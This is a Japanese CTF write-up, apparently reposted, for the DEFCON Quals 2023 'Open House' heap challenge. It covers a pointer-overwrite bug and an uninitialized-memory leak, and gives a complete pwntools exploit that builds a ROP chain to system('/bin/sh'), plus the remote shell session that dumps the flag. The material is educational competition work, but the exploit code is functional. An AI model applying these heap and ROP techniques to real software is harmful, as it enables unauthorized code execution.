DEFCON Quals 2023 WriteupとCTFのリハビリ

WriteUp 11个月前 admin
477 0 0

DEFCON Quals 2023にソロで参加しました。決勝戦なんてのは遠い遠い話ですが、
また今年もベガスまでDEFCONを観客として見に行くかもしれません。

実はこの半年間、消息を絶っていたのですが、
ずーっと懐かしのメイプルストーリーをやっていて、全くCTFをやっていませんでした。
そのせいで、CTFの事が何もわからなくなりました。これから少しずつリハビリしていこうと思います。

メイプルはレベル250を達成したのでメイプルストーリーは引退しました。
してないです。ゆかり鯖でやってるし、ピンクビーンイベントやってます。
いっそこのブログも、メイプルストーリーのブログに変えてやろうかと思いました。
ネットゲームは時間が無限に溶けるし、ほかのモノに対する興味が無くなるので良くないね。誰か助けてください。

さて、DEFCONの話ですがpwn とかジャンルで分かれてないので、結局pwnがどれだかわかりませんでした。
とりあえず簡単な1問(Open House)を開催中に解きました。

Open House (68 solve)

とってもシンプルなヒープ問題。多分色々な解き方があるはず。

(base) ubuntu@ubuntu-virtual-machine:~/ctf/defcon$ ./open-house 
Welcome! Step right in and discover our hidden gem! You'll *love* the pool.
c|v|q> c
Absolutely, we'd love to have your review!
AAAAAAAA
Thanks!
c|v|m|d|q> d
Which of these reviews should we delete

よくあるヒープメモ問題。

c: メモの作成
v: メモの閲覧
m: メモの変更
d: メモの削除
q: 終了

が操作可能。

(base) ubuntu@ubuntu-virtual-machine:~/ctf/defcon$ file open-house 
open-house: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=0dff6b6b6435d3c61f0159923f1758e8c9e6a1a8, for GNU/Linux 3.2.0, stripped

ところで、なぜか32bitである。ブルートフォースしてほしいのか?意味ありげに感じてしまう。
なお、下記の通りPIE有効。

pwndbg> checksec
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
No RELRO        No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols	  No	0		3		/home/ubuntu/ctf/defcon/open-house

さて、メモの管理がどうされているか見ながら、脆弱性を見つけていく。

メモが作成されたとき、

c|v|q> c
Absolutely, we'd love to have your review!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thanks!

下記の通り、ヒープ領域が作成されて、文字列が格納される。

0x5655aa40:	0x00000000	0x00000000	0x00000000	0x00000211
0x5655aa50:	0x41414141	0x41414141	0x41414141	0x41414141
0x5655aa60:	0x41414141	0x41414141	0x41414141	0x41414141
0x5655aa70:	0x41414141	0x41414141	0x0000000a	0x00000000
…
0x5655ac30:	0x00000000	0x00000000	0x00000000	0x00000000
0x5655ac40:	0x00000000	0x00000000	0x00000000	0x00000000
0x5655ac50:	0x00000000	0x5655a430	0x00000000	0x000203a9

0x000203a9はTOPチャンクのサイズだから無視して、0x5655ac54にある0x5655a430が重要。
これは、一個前のメモへのポインタである。

見てわかる通り、このプログラムは、メモを双方向のリンクリストで保持していて、チャンクの最後のほう
具体的にはAddr + 0x204とAddr + 0x208のところに、前後のメモへのポインタが入っている。

メモの作成(cコマンド)の時は0x200バイトしか文字列を書き込めないが、メモの変更(mコマンド)の時は
0x210バイト文字列を書き込むことができる。したがって、リンクリストを任意の方向につなげることができるという、露骨な脆弱性がある。

メモを任意の場所につなげることができるとAARもAAWもできてしまう。

何故かというと、メモの変更(m)コマンドでは、指定した番号のメモの内容を吐き出すからである。
具体的には、index = 1のメモのAddr + 0x204に任意のアドレス p を入れるとする。
そうすると、mでindex = 2のメモを変更しようとすると、*pの値を吐き出してしまう。
しかもそのうえ、上書きすることができる。脆すぎる。(下記、脆弱性1と呼ぶ)

c|v|m|d|q> m 
Which of these reviews should we replace?
2
Replacing this one: AAAAAAAAAAAAAAAAAAAAAAAAAAAA ← これが*pになる

これは極めて強力な脆弱性だが、存在するのはこの脆弱性だけではない。

二つ目の脆弱性は、malloc後の未初期化によるものである。

pwndbg> bins
tcachebins
0x110 [  7]: 0x56559e00 —▸ 0x56559bf0 —▸ 0x565599e0 —▸ 0x565597d0 —▸ 0x565595c0 —▸ 0x565593b0 —▸ 0x565591a0 ◂— 0x0
fastbins
0x10: 0x0
0x18: 0x0
0x20: 0x0
0x28: 0x0
0x30: 0x0
0x38: 0x0
0x40: 0x0
unsortedbin
all: 0x5655a008 —▸ 0xf7e2a7f8 (main_arena+56) ◂— 0x5655a008

メモをいくつか削除すると上記のようになる。
上記はunsortedbinが0x631サイズある。

これに対して、メモを再び8回内容は””で作る。
そうすると、8回目で取得されるメモは、unsortedbinから取得されるが、
unsortedbinの持っているfd と bkが初期化されてない。
入力文字列にnull終端とかがあれば発生しないが、null終端はないのでリーク出来てしまう。

なので、mallocでunsortedに入っていた領域を再取得すれば、main_arenaの領域、つまりlibcのアドレスを取得できる。

0x5655a008	0x00000000	0x00000211	........
0x5655a010	0xf7e2aa0a	0xf7e2aa38	....8...
0x5655a018	0x5655a008	0x5655a008	..UV..UV
0x5655a020	0x63207470	0x69646e6f	pt condi
0x5655a028	0x6e6f6974	0x6874202c	tion, th

この領域を、メモの表示コマンドで表示できる。
ところで、なんでunsortedbinに入っていたはずなのに、fd_nextsize と bk_nextsizeが埋まってるんだろう?
heapがわかるのはうれしいけど、なんでだ…

これでlibc leakとheap base leakが可能となった。脆弱性2と呼ぶ。

ということで、方針としては、まず脆弱性2を使って、libcとheapをリークする。
次に脆弱性1を使ってAARで、libcのenvironからstackのアドレスを取得し、
脆弱性1を再度使って、stack内でROPしてsystem(“/bin/sh“)を呼べばいいだけ。

まぁ一見簡単そうだけど、悩ましい障壁が一つあった。それは、libcのバージョンがわからないこと。
libcのバージョンがわからないと、libc_baseをあてることができない。

とりあえず、上記の方法で計算される値からmain_arenaのアドレスがわかる。
上記の方法でリークできるのはmain_arena内のアドレスで、それは比較的最近ならばlibcのバージョンによらず一定のはず。
それでlibc databaseを使えば 2.37っぽいことまではわかった。
libc.rip

ただし、その情報だけでは、どうしてもlibc baseアドレスがずれていた。2.37のどのバージョンなのか?までは上記のサイトではわからなかった。
というか、上記のサイトで出てきたやつだと、なぜかbase addressが0x3000ずれていた。

このベースアドレスのずれを見つけるためには、手作業でぐちゃぐちゃやって何とかアタリを付けなければならず、この作業が一番大変だった。
結果、main_arenaのlibc baseからのoffsetがわかった後は、libc databaseを使って2.37のlibcを落として、symbolの確認をおこなった。
github.com

その結果、main_arenaとかがぴったり一致したのは下記のバージョンだった。
libc6-i386_2.37-0ubuntu2_amd64.so
なのでこのバージョンを使ってexploitを書いたらflagが取れた。

で解きなおそうとしてけどサーバが死んでいた。

import logging

from pwn import *
context.arch="i386"

option = "local"

if option == "local":
    elf=ELF("/home/ubuntu/ctf/defcon/open-house")
    libc=ELF("/lib/i386-linux-gnu/libc.so.6")
    p=process("/home/ubuntu/ctf/defcon/open-house"
              , aslr=True)
    #gdb.attach(p)

else:
    libc=ELF("/home/ubuntu/ctf/defcon/libc6-i386_2.37-0ubuntu2_amd64.so")
    p = remote("open-house-6dvpeatmylgze.shellweplayaga.me", 10001)
    p.sendlineafter("Ticket please: ", "ticket{自分のチケット番号を入れようね}")

def create(message):
    p.sendlineafter(">","c")
    print(p.recvline())
    p.sendline(message)
    return

def delete(index):
    p.sendlineafter(">","d")
    print(p.recvline())
    p.sendline(str(index))
    return

def replace(index, message):
    p.sendlineafter(">","m")
    print(p.recvline())
    p.sendline(str(index))
    p.sendlineafter("replace it with?", message)
    return

create(cyclic(0x208))
for i in range(11):
    delete(1)

create("")
create("")
create("")
create("")
create("")
create("")
create("")
create("")

p.sendlineafter(">","v")

for i in range(16):
    p.recvline()

p.recv(3)

if option == "local":
    libc_base = u32(p.recv(4)) - 0x22AA38

else:
    libc_base = u32(p.recv(4)) - 0x225A38

heap_base = u32(p.recv(4)) - 0x1008
log.info("libc base is " + hex(libc_base))
log.info("heap base is " + hex(heap_base))
print(hexdump(p.recvline()))

for i in range(11):
    delete(1)

for i in range(11):
    create("")

if option == "local":
    replace(3, cyclic(0x200) + p32(libc_base + libc.symbols["environ"])) 
else:
    replace(3, cyclic(0x200) + p32(libc_base + libc.symbols["environ"]))

p.sendlineafter(">", "m")
print(p.recvline())
p.sendline(str(4))

p.recv(20)

stack_base = u32(p.recv(4))
log.info("stack_address is " + hex(stack_base))

p.sendline(p32(stack_base))

replace(3, p32(0) * 0x80 + p32(stack_base-0x200))
p.sendlineafter(">", "m")
print(p.recvline())
p.sendline(str(4))

system = libc_base + libc.symbols["system"]
binsh = libc_base + next(libc.search(b"/bin/sh"))


p.sendline(p32(0) * 0x40 + p32(system) + p32(0) + p32(binsh)+ p32(0))

p.interactive()

これでSHELLが取れたよ

What do you think we should we replace it with?
ls
challenge
flag.txt
run_challenge.sh
cat flag.txt
flag{DeveloperTax47n23:SBp6IAciEkQu5HXDfzG_0DcZZO5e5Wv2KKus4D9mrhCLPpWNUgk1U1lrIHRNCdiQ5f3eX9BwQL9-Qerdbkj9qA}[*] Interrupted
[*] Closed connection to open-house-6dvpeatmylgze.shellweplayaga.me port 10001

 

原文始发于ec76237290DEFCON Quals 2023 WriteupとCTFのリハビリ

版权声明:admin 发表于 2023年5月30日 下午11:21。
转载请注明:DEFCON Quals 2023 WriteupとCTFのリハビリ | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...